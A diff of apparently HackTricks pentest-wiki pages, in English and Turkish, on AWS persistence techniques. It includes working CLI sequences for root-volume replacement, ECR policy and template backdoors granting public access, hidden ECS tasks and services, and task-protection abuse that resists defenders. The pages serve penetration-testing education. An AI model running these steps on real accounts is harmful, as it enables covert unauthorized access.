Bir saldırgan, tüm görüntülerin veya tüm volume'ların **her hafta** AMI veya snapshot oluşturulmasını yapılandırıp bunları **kendi hesabıyla paylaşacak** şekilde ayarlayabilir.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
Instance'ları günlük, haftalık veya aylık çalışacak şekilde zamanlamak mümkündür. Bir saldırgan, yüksek ayrıcalıklı veya ilginç erişime sahip bir makineyi periyodik olarak çalıştırabilir.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances, normal instance'lardan **daha ucuzdur**. Bir saldırgan örneğin **5 yıl** için küçük bir **spot fleet request** başlatabilir; **otomatik IP** ataması ve spot instance başladığında saldırgana **IP adresini** gönderen bir **user data** ile ve **yüksek ayrıcalıklı bir IAM role** ile.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Bir saldırgan instance'lara erişip onları backdoor'layabilir:
|
||||
|
||||
- Örneğin geleneksel bir **rootkit** kullanarak
|
||||
- Yeni bir **public SSH key** ekleyerek (bkz. [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- **User Data**'yı backdoor'layarak
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Kullanılan AMI'yi backdoor'la
|
||||
- User Data'yı backdoor'la
|
||||
- Key Pair'i backdoor'la
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Çalışan bir instance'ın root EBS volume'unu, saldırgan kontrollü bir AMI veya snapshot'tan oluşturulmuş olanla `CreateReplaceRootVolumeTask` kullanarak değiştir. Instance ENIs, IP'ler ve role'u korur; böylece görünürde değişmeden kötü amaçlı koda boot eder.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Bir VPN oluşturarak saldırganın VPC'ye doğrudan bağlanabilmesini sağla.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Hedef VPC ile saldırgan VPC'si arasında bir peering connection oluşturarak saldırganın hedef VPC'ye erişebilmesini sağla.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,75 +0,0 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
ec2:CreateReplaceRootVolumeTask yetkisini kötüye kullanarak, çalışan bir instance'ın root EBS hacmini saldırganın kontrolündeki bir AMI veya snapshot'tan geri yüklenmiş olanla değiştirebilirsiniz. Instance otomatik olarak yeniden başlatılır ve ENIs, private/public IPs, bağlı root olmayan hacimler ile instance metadata/IAM rolünü koruyarak saldırganın kontrolündeki root dosya sistemiyle devam eder.
|
||||
|
||||
## Gereksinimler
|
||||
- Hedef instance EBS-backed olmalı ve aynı bölgede çalışıyor olmalı.
|
||||
- Uyumlu AMI veya snapshot: hedef instance ile aynı mimari/virtualization/boot mode (ve varsa product codes).
|
||||
|
||||
## Ön kontroller
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## AMI'den root'u değiştir (tercih edilen)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Snapshot kullanarak alternatif:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Kanıt / Doğrulama
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.
|
||||
|
||||
## Notlar
|
||||
- API, instance'ı manuel olarak durdurmanızı gerektirmez; EC2 yeniden başlatmayı (reboot) otomatik olarak gerçekleştirir.
|
||||
- Varsayılan olarak, değiştirilen (eski) root EBS volume ayrılır ve hesaba bırakılır (DeleteReplacedRootVolume=false). Bu geri alma için kullanılabilir veya maliyetlerden kaçınmak için silinmelidir.
|
||||
|
||||
## Geri Alma / Temizlik
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,101 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,145 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Daha fazla bilgi için bakın:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
Bir attacker, kötü amaçlı kod içeren bir Docker image'ı bir ECR repository'sine upload edebilir ve bunu hedef AWS hesabında persistence sağlamak için kullanabilir. Attacker daha sonra bu kötü amaçlı image'ı hesap içindeki Amazon ECS veya EKS gibi çeşitli servislere gizli bir şekilde deploy edebilir.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Tek bir repository'ye kendinize (veya herkese) erişim veren bir policy ekleyin:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> ECR, kullanıcıların bir kayıt defterine **kimlik doğrulaması yapabilmeden önce** ve herhangi bir Amazon ECR deposundan görüntüleri push veya pull edebilmeden önce IAM politikası aracılığıyla **`ecr:GetAuthorizationToken`** API'sini çağırma **iznine** sahip olmalarını gerektirir.
|
||||
|
||||
### Kayıt Defteri Politikası & Hesaplar Arası Replikasyon
|
||||
|
||||
Hesaplar arası replikasyonu yapılandırarak, kayıt defterinin başka bir hesaba otomatik olarak çoğaltılmasını sağlayabilirsiniz; bu durumda kayıt defterini çoğaltmak istediğiniz **dış hesabı belirtmeniz** gerekir.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Önce, dış hesaba kayıt defteri üzerinde aşağıdaki gibi bir **kayıt defteri politikası** ile erişim vermeniz gerekir:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Ardından çoğaltma yapılandırmasını uygulayın:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (gelecekteki repolar için prefix backdoor)
|
||||
|
||||
Kontrollü bir prefix altında ECR tarafından otomatik oluşturulan herhangi bir repository'yi (örneğin Pull-Through Cache veya Create-on-Push ile) otomatik olarak backdoor eklemek için ECR Repository Creation Templates'i suistimal edin. Bu, mevcut repolara dokunmadan gelecekteki repolara kalıcı yetkisiz erişim sağlar.
|
||||
|
||||
- Gerekli izinler: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (template tarafından kullanılır), iam:PassRole (şablona özel bir role eklenmişse).
|
||||
- Etki: Hedeflenen prefix altında oluşturulan her yeni repository, otomatik olarak saldırgan tarafından kontrol edilen bir repository policy'sini (ör. hesaplar arası okuma/yazma), tag mutability ve scanning varsayılanlarını devralır.
|
||||
|
||||
<details>
|
||||
<summary>Seçilen bir prefix altında gelecekte PTC tarafından oluşturulan repoları backdoor'lama</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,103 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,152 +0,0 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Daha fazla bilgi için şu kaynağa bakın:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Bir saldırgan, Amazon EventBridge kullanarak gizli bir periyodik ECS task oluşturabilir ve **kötü amaçlı bir görevin periyodik olarak çalıştırılmasını planlayabilir**. Bu görev reconnaissance gerçekleştirebilir, exfiltrate data yapabilir veya AWS hesabında persistence sağlayabilir.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Mevcut ECS task definition içinde Backdoor Container
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Bir saldırgan, meşru container'larla birlikte çalışan mevcut bir ECS task definition'a **stealthy backdoor container** ekleyebilir. Bu backdoor container persistence ve zararlı faaliyetler gerçekleştirmek için kullanılabilir.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Belgelenmemiş ECS Servisi
|
||||
|
||||
> [!NOTE]
|
||||
> Yapılacak: Test
|
||||
|
||||
Bir saldırgan kötü amaçlı bir task çalıştıran bir **belgelenmemiş ECS servisi** oluşturabilir. İstenen task sayısını minimuma ayarlayarak ve logging'i devre dışı bırakarak, yöneticilerin kötü amaçlı servisi fark etmesini zorlaştırır.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
ecs:UpdateTaskProtection'ı istismar ederek service tasks'ın scale‑in olayları ve kademeli dağıtımlar tarafından durdurulmasını engelleyin. Korumayı sürekli uzatarak, bir saldırgan uzun süre çalışan bir task'ı (C2 veya veri toplama için) çalışır durumda tutabilir; savunucular desiredCount'ı düşürse veya yeni task revisions gönderse/uygulasa bile.
|
||||
|
||||
Steps to reproduce in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Etkisi: Korumalı bir task desiredCount=0 olmasına rağmen RUNNING durumda kalır ve yeni dağıtımlar sırasında yer değiştirmeleri engeller; bu, ECS service içinde gizli, uzun süreli bir kalıcılık sağlar.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
|
||||
### Create Access Point
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy / Security Groups'i Değiştir
|
||||
|
||||
**resource policy and/or security groups**'ü değiştirerek dosya sistemi üzerindeki erişiminizi sürdürmeyi deneyebilirsiniz.
|
||||
|
||||
### Access Point Oluştur
|
||||
|
||||
Dosya sistemi üzerinde ayrıcalıklı erişimi korumak için, **other persistence** uyguladığınız bir servisten erişilebilen **create an access point** (with root access to `/`) oluşturabilirsiniz.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,81 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
